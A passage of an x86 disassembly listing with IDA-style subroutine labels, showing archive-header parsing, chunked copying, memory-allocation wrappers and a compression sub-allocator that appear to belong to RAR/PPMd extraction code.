push eax ; Buf1
call memcmp
add esp, 0Ch
neg eax
sbb eax, eax
inc eax
leave
retn
sub_9B0D33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B0D88 proc near ; CODE XREF: sub_9B0FE1+CBp
Dst = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2000h
call __alloca_probe
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
push esi
push edi
jbe short loc_9B0DDE
loc_9B0D9F: ; CODE XREF: sub_9B0D88+54j
mov edi, 2000h
cmp ebx, edi
ja short loc_9B0DAA
mov edi, ebx
loc_9B0DAA: ; CODE XREF: sub_9B0D88+1Ej
push edi ; Size
lea eax, [ebp+Dst]
push eax ; Dst
push [ebp+arg_0] ; int
call sub_9B3D6A
mov esi, eax
add esp, 0Ch
cmp esi, edi
jnz short loc_9B0DE6
push esi ; Size
lea eax, [ebp+Dst]
push eax ; Src
push [ebp+arg_4] ; int
call sub_9B3DC6
add esp, 0Ch
cmp eax, esi
jnz short loc_9B0DEB
sub ebx, esi
jnz short loc_9B0D9F
loc_9B0DDE: ; CODE XREF: sub_9B0D88+15j
mov eax, [ebp+arg_8]
loc_9B0DE1: ; CODE XREF: sub_9B0D88+6Aj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B0DE6: ; CODE XREF: sub_9B0D88+39j
mov eax, [ebp+arg_8]
jmp short loc_9B0DF0
; ---------------------------------------------------------------------------
loc_9B0DEB: ; CODE XREF: sub_9B0D88+50j
mov eax, [ebp+arg_8]
sub eax, esi
loc_9B0DF0: ; CODE XREF: sub_9B0D88+61j
sub eax, ebx
jmp short loc_9B0DE1
sub_9B0D88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B0DF4(int, void *Memory)
sub_9B0DF4 proc near ; CODE XREF: sub_9AF0BC+53p
arg_0 = dword ptr 8
Memory = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+Memory]
test ebx, ebx
jnz short loc_9B0E07
push 0FFFFFFFEh
pop eax
jmp loc_9B0F1E
; ---------------------------------------------------------------------------
loc_9B0E07: ; CODE XREF: sub_9B0DF4+9j
push edi
mov edi, [ebp+arg_0]
push edi
call sub_9B0D33
test eax, eax
pop ecx
jnz short loc_9B0E1E
loc_9B0E16: ; CODE XREF: sub_9B0DF4+37j
push 0FFFFFFFEh
pop eax
jmp loc_9B0F1D
; ---------------------------------------------------------------------------
loc_9B0E1E: ; CODE XREF: sub_9B0DF4+20j
push 73h
pop eax
call sub_9B0BB7
test eax, eax
mov [ebp+Memory], eax
jz short loc_9B0E16
test byte ptr [eax+3], 80h
push esi
jz short loc_9B0E39
push 2
loc_9B0E36: ; CODE XREF: sub_9B0DF4+4Ej
pop esi
jmp short loc_9B0E5E
; ---------------------------------------------------------------------------
loc_9B0E39: ; CODE XREF: sub_9B0DF4+3Ej
cmp word ptr [eax+5], 0Dh
jnb short loc_9B0E44
push 0FFFFFFFEh
jmp short loc_9B0E36
; ---------------------------------------------------------------------------
loc_9B0E44: ; CODE XREF: sub_9B0DF4+4Aj
push 411BD8h ; Size
call malloc
mov esi, eax
xor edi, edi
cmp esi, edi
pop ecx
jnz short loc_9B0E6D
mov eax, [ebp+Memory]
or esi, 0FFFFFFFFh
loc_9B0E5E: ; CODE XREF: sub_9B0DF4+43j
push eax ; Memory
call free
pop ecx
mov eax, esi
jmp loc_9B0F1C
; ---------------------------------------------------------------------------
loc_9B0E6D: ; CODE XREF: sub_9B0DF4+62j
or dword ptr [esi+40D7F4h], 0FFFFFFFFh
lea eax, [esi+408B10h]
push eax
mov [esi+40D7CCh], edi
mov [esi+40D7B0h], edi
mov [esi+40D7A0h], edi
mov [esi+40D7A8h], edi
mov [esi+40D7A4h], edi
mov [esi+40D7ACh], edi
call sub_9B2484
mov eax, [ebp+Memory]
mov ax, [eax+5]
cmp ax, 0Dh
pop ecx
jbe short loc_9B0EFE
movzx eax, ax
push 1
sub eax, 0Dh
push eax
push [ebp+arg_0]
call sub_9B3E22
add esp, 0Ch
test eax, eax
jnz short loc_9B0EFE
push [ebp+Memory] ; Memory
mov edi, free
call edi ; free
lea eax, [esi+408B10h]
push eax
call sub_9B2497
push esi
call sub_9AFB83
lea eax, [esi+40D7CCh]
push eax
call sub_9B2804
push esi ; Memory
call edi ; free
add esp, 14h
push 0FFFFFFFEh
pop eax
jmp short loc_9B0F1C
; ---------------------------------------------------------------------------
loc_9B0EFE: ; CODE XREF: sub_9B0DF4+BCj
; sub_9B0DF4+D4j
mov eax, [ebp+Memory]
mov [ebx+10h], eax
mov eax, [ebp+arg_0]
mov [ebx+1Ch], eax
mov [ebx+0Ch], esi
mov [ebx+4], edi
mov [ebx+8], edi
mov dword ptr [ebx+18h], 1
xor eax, eax
loc_9B0F1C: ; CODE XREF: sub_9B0DF4+74j
; sub_9B0DF4+108j
pop esi
loc_9B0F1D: ; CODE XREF: sub_9B0DF4+25j
pop edi
loc_9B0F1E: ; CODE XREF: sub_9B0DF4+Ej
pop ebx
pop ebp
retn
sub_9B0DF4 endp
; =============== S U B R O U T I N E =======================================
sub_9B0F21 proc near ; CODE XREF: sub_9AF0BC+6Cp
arg_0 = dword ptr 4
push ebp
push edi
mov edi, [esp+8+arg_0]
push 74h
push dword ptr [edi+1Ch]
call sub_9B0C53
xor ebp, ebp
cmp eax, ebp
pop ecx
pop ecx
mov [edi], eax
jnz short loc_9B0F43
xor eax, eax
inc eax
jmp loc_9B0FDE
; ---------------------------------------------------------------------------
loc_9B0F43: ; CODE XREF: sub_9B0F21+18j
push esi
push 21h ; Size
call malloc
mov esi, eax
cmp esi, ebp
pop ecx
jnz short loc_9B0F5B
loc_9B0F53: ; CODE XREF: sub_9B0F21+A0j
or eax, 0FFFFFFFFh
jmp loc_9B0FDD
; ---------------------------------------------------------------------------
loc_9B0F5B: ; CODE XREF: sub_9B0F21+30j
push ebx
mov ebx, [edi]
push 1
push ebp
push ebp
push dword ptr [ebx+20h]
call __allmul
mov ecx, [ebx+7]
xor ebx, ebx
add eax, ecx
push 1
adc edx, ebx
push ebp
mov [esi], eax
mov [esi+4], edx
mov ebx, [edi]
push ebp
push dword ptr [ebx+24h]
call __allmul
mov ecx, [ebx+0Bh]
xor ebx, ebx
add eax, ecx
mov [esi+8], eax
adc edx, ebx
mov [esi+0Ch], edx
mov eax, [edi]
mov eax, [eax+10h]
mov [esi+18h], eax
mov eax, [edi]
mov al, [eax+19h]
mov [esi+20h], al
mov eax, [edi]
push dword ptr [eax+28h] ; Src
call _strdup
cmp eax, ebp
pop ecx
mov [esi+10h], eax
pop ebx
jnz short loc_9B0FC3
push esi ; Memory
call free
pop ecx
jmp short loc_9B0F53
; ---------------------------------------------------------------------------
loc_9B0FC3: ; CODE XREF: sub_9B0F21+96j
mov [esi+14h], ebp
mov [esi+1Ch], ebp
mov eax, [edi+8]
cmp eax, ebp
jnz short loc_9B0FD5
mov [edi+4], esi
jmp short loc_9B0FD8
; ---------------------------------------------------------------------------
loc_9B0FD5: ; CODE XREF: sub_9B0F21+ADj
mov [eax+14h], esi
loc_9B0FD8: ; CODE XREF: sub_9B0F21+B2j
mov [edi+8], esi
xor eax, eax
loc_9B0FDD: ; CODE XREF: sub_9B0F21+35j
pop esi
loc_9B0FDE: ; CODE XREF: sub_9B0F21+1Dj
pop edi
pop ebp
retn
sub_9B0F21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B0FE1 proc near ; CODE XREF: sub_9AF0BC+81p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
mov edi, eax
mov [ebp+arg_0], eax
movzx eax, word ptr [edi+5]
add eax, [edi+2Ch]
push 0
push eax
push dword ptr [esi+1Ch]
call sub_9B3E22
movzx ecx, word ptr [edi+5]
add ecx, [edi+2Ch]
add esp, 0Ch
cmp eax, ecx
jz short loc_9B101B
push dword ptr [edi+28h]
loc_9B1013: ; CODE XREF: sub_9B0FE1+15Cj
mov edi, free
jmp short loc_9B1053
; ---------------------------------------------------------------------------
loc_9B101B: ; CODE XREF: sub_9B0FE1+2Dj
mov ax, [edi+3]
test al, 4
jz short loc_9B1063
mov eax, [esi+8]
mov dword ptr [eax+1Ch], 1
loc_9B102D: ; CODE XREF: sub_9B0FE1+84j
; sub_9B0FE1+93j ...
mov edi, [esi]
push 0
mov eax, edi
push dword ptr [eax+30h]
push dword ptr [esi+1Ch]
call sub_9B3E22
add esp, 0Ch
push dword ptr [edi+28h] ; Memory
cmp eax, [edi+30h]
mov edi, free
jz loc_9B1142
loc_9B1053: ; CODE XREF: sub_9B0FE1+38j
call edi ; free
push dword ptr [esi] ; Memory
call edi ; free
pop ecx
pop ecx
push 0FFFFFFFEh
pop eax
jmp loc_9B1162
; ---------------------------------------------------------------------------
loc_9B1063: ; CODE XREF: sub_9B0FE1+40j
test al, 3
jnz short loc_9B102D
mov eax, [esi+10h]
mov ax, [eax+3]
test al, 1
jz short loc_9B1076
test al, 8
jnz short loc_9B102D
loc_9B1076: ; CODE XREF: sub_9B0FE1+8Fj
push dword ptr [edi+0Bh] ; Size
lea eax, [esi+24h]
push 8302h ; char
push eax ; int
call sub_9B3EA2
add esp, 0Ch
test eax, eax
jge short loc_9B1095
mov eax, [esi]
jmp loc_9B113A
; ---------------------------------------------------------------------------
loc_9B1095: ; CODE XREF: sub_9B0FE1+ABj
mov ecx, [esi+0Ch]
mov [ecx], eax
mov edx, [esi]
mov [esi+20h], eax
cmp byte ptr [edx+19h], 30h
jnz short loc_9B10B9
push dword ptr [edx+7]
push eax
push dword ptr [esi+1Ch]
call sub_9B0D88
add esp, 0Ch
jmp loc_9B102D
; ---------------------------------------------------------------------------
loc_9B10B9: ; CODE XREF: sub_9B0FE1+C2j
mov eax, [edx+0Bh]
and dword ptr [ecx+40D7C8h], 0
mov [ecx+40D7C4h], eax
mov eax, [esi]
mov eax, [eax+7]
mov [ecx+40D7F8h], eax
mov eax, [esi]
cmp byte ptr [eax+18h], 0Fh
ja short loc_9B10F8
cmp dword ptr [esi+18h], 1
jbe short loc_9B10F0
mov eax, [esi+10h]
test byte ptr [eax+3], 8
jz short loc_9B10F0
xor eax, eax
inc eax
jmp short loc_9B10F2
; ---------------------------------------------------------------------------
loc_9B10F0: ; CODE XREF: sub_9B0FE1+FFj
; sub_9B0FE1+108j
xor eax, eax
loc_9B10F2: ; CODE XREF: sub_9B0FE1+10Dj
push ecx
push eax
push 0Fh
jmp short loc_9B111B
; ---------------------------------------------------------------------------
loc_9B10F8: ; CODE XREF: sub_9B0FE1+F9j
cmp dword ptr [esi+18h], 1
jnz short loc_9B110A
test byte ptr [eax+3], 10h
jz short loc_9B110A
add word ptr [eax+3], 0FFF0h
loc_9B110A: ; CODE XREF: sub_9B0FE1+11Bj
; sub_9B0FE1+121j
mov eax, [esi]
push ecx
xor ecx, ecx
mov cl, [eax+3]
movzx eax, byte ptr [eax+18h]
and ecx, 10h
push ecx
push eax
loc_9B111B: ; CODE XREF: sub_9B0FE1+115j
push dword ptr [esi+1Ch]
call sub_9B0B9A
add esp, 10h
test eax, eax
jnz loc_9B102D
mov eax, [esi]
test byte ptr [eax+3], 10h
jz loc_9B102D
loc_9B113A: ; CODE XREF: sub_9B0FE1+AFj
push dword ptr [eax+28h] ; Memory
jmp loc_9B1013
; ---------------------------------------------------------------------------
loc_9B1142: ; CODE XREF: sub_9B0FE1+6Cj
call edi ; free
push dword ptr [esi] ; Memory
call edi ; free
mov eax, [esi+0Ch]
test eax, eax
pop ecx
pop ecx
jz short loc_9B115D
add eax, 40D7CCh
push eax
call sub_9B2804
pop ecx
loc_9B115D: ; CODE XREF: sub_9B0FE1+16Ej
inc dword ptr [esi+18h]
xor eax, eax
loc_9B1162: ; CODE XREF: sub_9B0FE1+7Dj
pop edi
pop esi
pop ebp
retn
sub_9B0FE1 endp
; =============== S U B R O U T I N E =======================================
sub_9B1166 proc near ; CODE XREF: sub_9AF0BC+C2p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+20h]
test eax, eax
push edi
mov edi, [esi+0Ch]
jz short loc_9B117D
push eax
call sub_9B3D23
pop ecx
loc_9B117D: ; CODE XREF: sub_9B1166+Ej
add edi, 408B10h
push edi
call sub_9B2497
push dword ptr [esi+10h] ; Memory
mov edi, free
call edi ; free
push dword ptr [esi+0Ch]
call sub_9AFB83
mov eax, [esi+0Ch]
add esp, 0Ch
test eax, eax
jz short loc_9B11B2
add eax, 40D7CCh
push eax
call sub_9B2804
pop ecx
loc_9B11B2: ; CODE XREF: sub_9B1166+3Ej
push dword ptr [esi+0Ch] ; Memory
call edi ; free
pop ecx
pop edi
pop esi
retn
sub_9B1166 endp
; =============== S U B R O U T I N E =======================================
sub_9B11BB proc near ; CODE XREF: sub_9B125E+25p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax], 0
and dword ptr [eax+4], 0
retn
sub_9B11BB endp
; =============== S U B R O U T I N E =======================================
sub_9B11C7 proc near ; CODE XREF: sub_9B12A0+2Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_9B11E5
mov eax, [esi]
test eax, eax
jz short loc_9B11DE
push eax ; Memory
call free
pop ecx
loc_9B11DE: ; CODE XREF: sub_9B11C7+Dj
and dword ptr [esi], 0
and dword ptr [esi+4], 0
loc_9B11E5: ; CODE XREF: sub_9B11C7+7j
pop esi
retn
sub_9B11C7 endp
; =============== S U B R O U T I N E =======================================
sub_9B11E7 proc near ; CODE XREF: sub_9B3A12+76p
; sub_9B3A12+15Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
add [esi+4], eax
mov eax, [esi+4]
lea eax, [eax+eax*4]
shl eax, 3
push eax ; NewSize
push dword ptr [esi] ; Memory
call sub_9B132C
test eax, eax
pop ecx
pop ecx
mov [esi], eax
jnz short loc_9B120E
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B120E: ; CODE XREF: sub_9B11E7+23j
mov esi, [esi+4]
push 28h ; Size
lea ecx, [esi+esi*4]
lea eax, [eax+ecx*8-28h]
push 0 ; Val
push eax ; Dst
call memset
add esp, 0Ch
xor eax, eax
inc eax
pop esi
retn
sub_9B11E7 endp
; =============== S U B R O U T I N E =======================================
sub_9B122A proc near ; CODE XREF: sub_9AFBCB+86p
; sub_9AFBCB+168p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
add [esi+4], eax
mov eax, [esi+4]
shl eax, 2
push eax ; NewSize
push dword ptr [esi] ; Memory
call sub_9B132C
test eax, eax
pop ecx
pop ecx
mov [esi], eax
jnz short loc_9B1251
and [esi+4], eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B1251: ; CODE XREF: sub_9B122A+20j
mov ecx, [esi+4]
and dword ptr [eax+ecx*4-4], 0
xor eax, eax
inc eax
pop esi
retn
sub_9B122A endp
; =============== S U B R O U T I N E =======================================
sub_9B125E proc near ; CODE XREF: sub_9AFBCB+95p
; sub_9AFBCB:loc_9AFCD4p
push esi
push edi
push 54h ; Size
call sub_9B1311
mov esi, eax
xor edi, edi
cmp esi, edi
pop ecx
jnz short loc_9B1274
xor eax, eax
jmp short loc_9B129D
; ---------------------------------------------------------------------------
loc_9B1274: ; CODE XREF: sub_9B125E+10j
lea eax, [esi+10h]
push eax
mov [esi], edi
mov [esi+4], edi
mov [esi+8], edi
mov [esi+0Ch], edi
call sub_9B11BB
pop ecx
mov [esi+1Ch], edi
mov [esi+20h], edi
mov [esi+2Ch], edi
mov [esi+28h], edi
mov [esi+24h], edi
mov [esi+50h], edi
mov eax, esi
loc_9B129D: ; CODE XREF: sub_9B125E+14j
pop edi
pop esi
retn
sub_9B125E endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B12A0(void *Memory)
sub_9B12A0 proc near ; CODE XREF: sub_9AF4A5+12Ap
; sub_9AF4A5+1B3p ...
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
test esi, esi
jz short loc_9B12D5
mov eax, [esi+1Ch]
test eax, eax
push edi
mov edi, free
jz short loc_9B12BB
push eax ; Memory
call edi ; free
pop ecx
loc_9B12BB: ; CODE XREF: sub_9B12A0+15j
mov eax, [esi+20h]
test eax, eax
jz short loc_9B12C6
push eax ; Memory
call edi ; free
pop ecx
loc_9B12C6: ; CODE XREF: sub_9B12A0+20j
lea eax, [esi+10h]
push eax
call sub_9B11C7
push esi ; Memory
call edi ; free
pop ecx
pop ecx
pop edi
loc_9B12D5: ; CODE XREF: sub_9B12A0+7j
pop esi
retn
sub_9B12A0 endp
; =============== S U B R O U T I N E =======================================
sub_9B12D7 proc near ; CODE XREF: sub_9AFB83+32p
; sub_9AFB83+3Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_9B130F
push edi
xor edi, edi
cmp [esi+4], edi
jbe short loc_9B12F9
loc_9B12E8: ; CODE XREF: sub_9B12D7+20j
mov eax, [esi]
push dword ptr [eax+edi*4] ; Memory
call sub_9B12A0
inc edi
cmp edi, [esi+4]
pop ecx
jb short loc_9B12E8
loc_9B12F9: ; CODE XREF: sub_9B12D7+Fj
mov eax, [esi]
test eax, eax
pop edi
jz short loc_9B1308
push eax ; Memory
call free
pop ecx
loc_9B1308: ; CODE XREF: sub_9B12D7+27j
and dword ptr [esi], 0
and dword ptr [esi+4], 0
loc_9B130F: ; CODE XREF: sub_9B12D7+7j
pop esi
retn
sub_9B12D7 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B1311(size_t Size)
sub_9B1311 proc near ; CODE XREF: sub_9AFBCB+2BAp
; sub_9AFBCB+34Fp ...
Size = dword ptr 4
mov eax, [esp+Size]
test eax, eax
jz short loc_9B1329
cmp eax, 0B000000h
ja short loc_9B1329
push eax ; Size
call malloc
pop ecx
retn
; ---------------------------------------------------------------------------
loc_9B1329: ; CODE XREF: sub_9B1311+6j
; sub_9B1311+Dj
xor eax, eax
retn
sub_9B1311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B132C(void *Memory, size_t NewSize)
sub_9B132C proc near ; CODE XREF: sub_9AFBCB+D6p
; sub_9AFBCB+431p ...
Memory = dword ptr 8
NewSize = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+NewSize], 0
jz short loc_9B135F
cmp [ebp+NewSize], 0B000000h
ja short loc_9B135F
push [ebp+NewSize] ; NewSize
push [ebp+Memory] ; Memory
call realloc
test eax, eax
pop ecx
pop ecx
jnz short loc_9B1361
cmp [ebp+Memory], eax
jz short loc_9B135F
push [ebp+Memory] ; Memory
call free
pop ecx
loc_9B135F: ; CODE XREF: sub_9B132C+7j
; sub_9B132C+10j ...
xor eax, eax
loc_9B1361: ; CODE XREF: sub_9B132C+22j
pop ebp
retn
sub_9B132C endp
; =============== S U B R O U T I N E =======================================
sub_9B1363 proc near ; CODE XREF: sub_9B1675+4Dp
; sub_9B1A07+1B8p
arg_0 = dword ptr 4
movsx ecx, word ptr [eax+ecx*2+0B8h]
movsx edx, word ptr [eax+edx*2+0B8h]
sub edx, ecx
push esi
mov esi, [esp+4+arg_0]
lea ecx, [ecx+ecx*2]
lea ecx, [esi+ecx*4]
movsx esi, word ptr [eax+edx*2+102h]
push edi
movsx edi, word ptr [eax+esi*2+0B8h]
cmp edi, edx
jz short loc_9B13B0
mov edi, [eax+esi*4+1Ch]
dec esi
mov [ecx], edi
mov [eax+esi*4+20h], ecx
movsx esi, word ptr [eax+esi*2+0B8h]
lea edi, [esi+esi*2]
lea ecx, [ecx+edi*4]
sub edx, esi
loc_9B13B0: ; CODE XREF: sub_9B1363+30j
movsx edx, word ptr [eax+edx*2+102h]
lea eax, [eax+edx*4+20h]
mov edx, [eax]
pop edi
mov [ecx], edx
mov [eax], ecx
pop esi
retn
sub_9B1363 endp
; =============== S U B R O U T I N E =======================================
sub_9B13C5 proc near ; CODE XREF: sub_9B13DA+12p
; sub_9B2497+9j ...
cmp dword ptr [eax+1Ch], 0
jz short locret_9B13D9
push dword ptr [eax+10h] ; Memory
and dword ptr [eax+1Ch], 0
call free
pop ecx
locret_9B13D9: ; CODE XREF: sub_9B13C5+4j
retn
sub_9B13C5 endp
; =============== S U B R O U T I N E =======================================
sub_9B13DA proc near ; CODE XREF: sub_9B24A5+16p
; sub_9B24CC+CCp
push ebx
mov ebx, eax
shl ebx, 14h
cmp [edi+1Ch], ebx
jnz short loc_9B13EA
xor eax, eax
inc eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_9B13EA: ; CODE XREF: sub_9B13DA+9j
mov eax, edi
call sub_9B13C5
cmp ebx, 83FFFF4h
jbe short loc_9B13FD
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_9B13FD: ; CODE XREF: sub_9B13DA+1Dj
push esi
push 0Ch
xor edx, edx
pop ecx
mov eax, ebx
div ecx
inc eax
lea esi, [eax+eax*2]
shl esi, 2
push esi ; Size
call malloc
test eax, eax
pop ecx
mov [edi+10h], eax
jz short loc_9B142A
lea eax, [eax+esi-0Ch]
mov [edi+8], eax
xor eax, eax
mov [edi+1Ch], ebx
inc eax
loc_9B142A: ; CODE XREF: sub_9B13DA+41j
pop esi
pop ebx
retn
sub_9B13DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B142D proc near ; CODE XREF: sub_9B17CA+25p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 98h ; Size
lea eax, [esi+20h]
push 0 ; Val
push eax ; Dst
call memset
mov edi, [esi+1Ch]
add esp, 0Ch
push 8
pop ebx
mov eax, edi
cdq
idiv ebx
push 0Ch
pop ebx
xor edx, edx
push 0Ch
mov ecx, [esi+10h]
mov [esi], ecx
div ebx
xor edx, edx
mov ebx, eax
imul ebx, 54h
sub edi, ebx
mov eax, edi
mov [ebp+var_4], eax
pop edi
div edi
push 0Ch
lea eax, [eax+eax*2]
lea eax, [edx+eax*4]
lea edi, [eax+ecx]
mov eax, [ebp+var_4]
add ecx, eax
mov [esi+0Ch], ecx
pop ecx
xor edx, edx
mov eax, ebx
div ecx
push 4
mov [esi+4], edi
mov [esi+14h], edi
lea ecx, [esi+0B8h]
lea eax, [eax+eax*2]
lea eax, [edi+eax*4]
pop edi
mov [esi+18h], eax
xor eax, eax
push 2
inc eax
mov edx, edi
pop ebx
loc_9B14AA: ; CODE XREF: sub_9B142D+84j
mov [ecx], ax
add ecx, ebx
inc eax
dec edx
jnz short loc_9B14AA
inc eax
lea ecx, [esi+0C0h]
mov edx, edi
loc_9B14BC: ; CODE XREF: sub_9B142D+97j
mov [ecx], ax
add ecx, ebx
add eax, ebx
dec edx
jnz short loc_9B14BC
inc eax
lea ecx, [esi+0C8h]
mov edx, edi
loc_9B14CF: ; CODE XREF: sub_9B142D+ABj
mov [ecx], ax
add ecx, ebx
add eax, 3
dec edx
jnz short loc_9B14CF
push 1Ah
inc eax
lea ecx, [esi+0D0h]
pop edx
loc_9B14E4: ; CODE XREF: sub_9B142D+BFj
mov [ecx], ax
add ecx, ebx
add eax, edi
dec edx
jnz short loc_9B14E4
xor edx, edx
xor eax, eax
mov [esi+204h], dx
lea ecx, [esi+104h]
loc_9B14FF: ; CODE XREF: sub_9B142D+F3j
lea edi, [edx+1]
movsx edx, word ptr [esi+eax*2+0B8h]
xor ebx, ebx
cmp edx, edi
setl bl
mov edx, edi
add eax, ebx
mov [ecx], ax
inc ecx
inc ecx
cmp edx, 80h
jl short loc_9B14FF
pop edi
pop ebx
leave
retn
sub_9B142D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B1526 proc near ; CODE XREF: sub_9B1675+15p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ecx+14h]
cmp eax, [ecx+18h]
jz short loc_9B1537
mov byte ptr [eax], 0
loc_9B1537: ; CODE XREF: sub_9B1526+Cj
push ebx
push esi
push edi
lea eax, [ebp+var_C]
push 26h
mov [ebp+var_8], eax
mov [ebp+var_C], eax
lea edx, [ecx+20h]
lea esi, [ecx+0B8h]
pop edi
jmp short loc_9B1578
; ---------------------------------------------------------------------------
loc_9B1551: ; CODE XREF: sub_9B1526+55j
mov eax, [edx]
mov ebx, [eax]
mov [edx], ebx
lea ebx, [ebp+var_C]
mov [eax+4], ebx
mov ebx, [ebp+var_C]
mov [eax], ebx
mov ebx, [ebp+var_C]
mov [ebx+4], eax
mov [ebp+var_C], eax
or word ptr [eax+8], 0FFFFh
mov bx, [esi]
mov [eax+0Ah], bx
loc_9B1578: ; CODE XREF: sub_9B1526+29j
; sub_9B1526+5Dj
cmp dword ptr [edx], 0
jnz short loc_9B1551
inc esi
inc esi
add edx, 4
dec edi
jnz short loc_9B1578
mov eax, [ebp+var_C]
lea esi, [ebp+var_C]
cmp eax, esi
mov edx, eax
jz loc_9B1665
jmp short loc_9B15C0
; ---------------------------------------------------------------------------
loc_9B1597: ; CODE XREF: sub_9B1526+AAj
movzx esi, word ptr [eax+0Ah]
movzx edi, word ptr [edx+0Ah]
add esi, edi
cmp esi, 10000h
jge short loc_9B15D2
mov esi, [eax+4]
mov edi, [eax]
mov [esi], edi
mov esi, [eax]
mov edi, [eax+4]
mov [esi+4], edi
mov ax, [eax+0Ah]
add [edx+0Ah], ax
loc_9B15C0: ; CODE XREF: sub_9B1526+6Fj
; sub_9B1526+B3j
movzx eax, word ptr [edx+0Ah]
lea eax, [eax+eax*2]
lea eax, [edx+eax*4]
cmp word ptr [eax+8], 0FFFFh
jz short loc_9B1597
loc_9B15D2: ; CODE XREF: sub_9B1526+81j
mov edx, [edx]
lea eax, [ebp+var_C]
cmp edx, eax
jnz short loc_9B15C0
jmp loc_9B1662
; ---------------------------------------------------------------------------
loc_9B15E0: ; CODE XREF: sub_9B1526+144j
mov edi, [eax]
lea edx, [eax+4]
mov esi, [edx]
mov [esi], edi
mov edx, [edx]
mov esi, [eax]
mov [esi+4], edx
movzx edx, word ptr [eax+0Ah]
cmp edx, 80h
jle short loc_9B1625
lea esi, [edx-81h]
shr esi, 7
inc esi
mov edi, esi
neg edi
shl edi, 7
add edx, edi
loc_9B160F: ; CODE XREF: sub_9B1526+FDj
mov edi, [ecx+0B4h]
mov [eax], edi
mov [ecx+0B4h], eax
add eax, 600h
dec esi
jnz short loc_9B160F
loc_9B1625: ; CODE XREF: sub_9B1526+D4j
movsx edi, word ptr [ecx+edx*2+102h]
movsx esi, word ptr [ecx+edi*2+0B8h]
cmp esi, edx
jz short loc_9B1658
movsx ebx, word ptr [ecx+edi*2+0B6h]
dec edi
mov esi, edx
sub esi, ebx
sub edx, esi
lea esi, [ecx+esi*4+1Ch]
mov ebx, [esi]
lea edx, [edx+edx*2]
lea edx, [eax+edx*4]
mov [edx], ebx
mov [esi], edx
loc_9B1658: ; CODE XREF: sub_9B1526+111j
lea edx, [ecx+edi*4+20h]
mov esi, [edx]
mov [eax], esi
mov [edx], eax
loc_9B1662: ; CODE XREF: sub_9B1526+B5j
mov eax, [ebp+var_C]
loc_9B1665: ; CODE XREF: sub_9B1526+69j
lea edx, [ebp+var_C]
cmp eax, edx
jnz loc_9B15E0
pop edi
pop esi
pop ebx
leave
retn
sub_9B1526 endp
; =============== S U B R O U T I N E =======================================
sub_9B1675 proc near ; CODE XREF: sub_9B16FB+45p
; sub_9B1748+26p
cmp word ptr [esi+204h], 0
jnz short loc_9B169E
mov ecx, esi
mov word ptr [esi+204h], 0FFh
call sub_9B1526
lea ecx, [esi+edi*4+20h]
mov eax, [ecx]
test eax, eax
jz short loc_9B169E
mov edx, [eax]
mov [ecx], edx
retn
; ---------------------------------------------------------------------------
loc_9B169E: ; CODE XREF: sub_9B1675+8j
; sub_9B1675+22j
mov edx, edi
lea eax, [esi+edi*4+20h]
loc_9B16A4: ; CODE XREF: sub_9B1675+3Bj
inc edx
add eax, 4
cmp edx, 26h
jz short loc_9B16CC
cmp dword ptr [eax], 0
jz short loc_9B16A4
push ebx
mov ebx, [esi+edx*4+20h]
mov eax, [ebx]
mov [esi+edx*4+20h], eax
push ebx
mov ecx, edi
mov eax, esi
call sub_9B1363
pop ecx
mov eax, ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_9B16CC: ; CODE XREF: sub_9B1675+36j
dec word ptr [esi+204h]
movsx eax, word ptr [esi+edi*2+0B8h]
mov ecx, [esi+0Ch]
mov edx, ecx
sub edx, [esi]
lea eax, [eax+eax*2]
shl eax, 2
cmp edx, eax
jle short loc_9B16F8
sub ecx, eax
sub [esi+4], eax
mov eax, [esi+4]
mov [esi+0Ch], ecx
retn
; ---------------------------------------------------------------------------
loc_9B16F8: ; CODE XREF: sub_9B1675+75j
xor eax, eax
retn
sub_9B1675 endp
; =============== S U B R O U T I N E =======================================
sub_9B16FB proc near ; CODE XREF: sub_9B1776+25p
; sub_9B17CA+7Bp ...
push esi
mov esi, ecx
push edi
movsx edi, word ptr [esi+eax*2+102h]
lea ecx, [esi+edi*4+20h]
mov eax, [ecx]
test eax, eax
jz short loc_9B1717
mov edx, [eax]
mov [ecx], edx
jmp short loc_9B1745
; ---------------------------------------------------------------------------
loc_9B1717: ; CODE XREF: sub_9B16FB+14j
mov eax, [esi+14h]
lea edx, [esi+edi*2+0B8h]
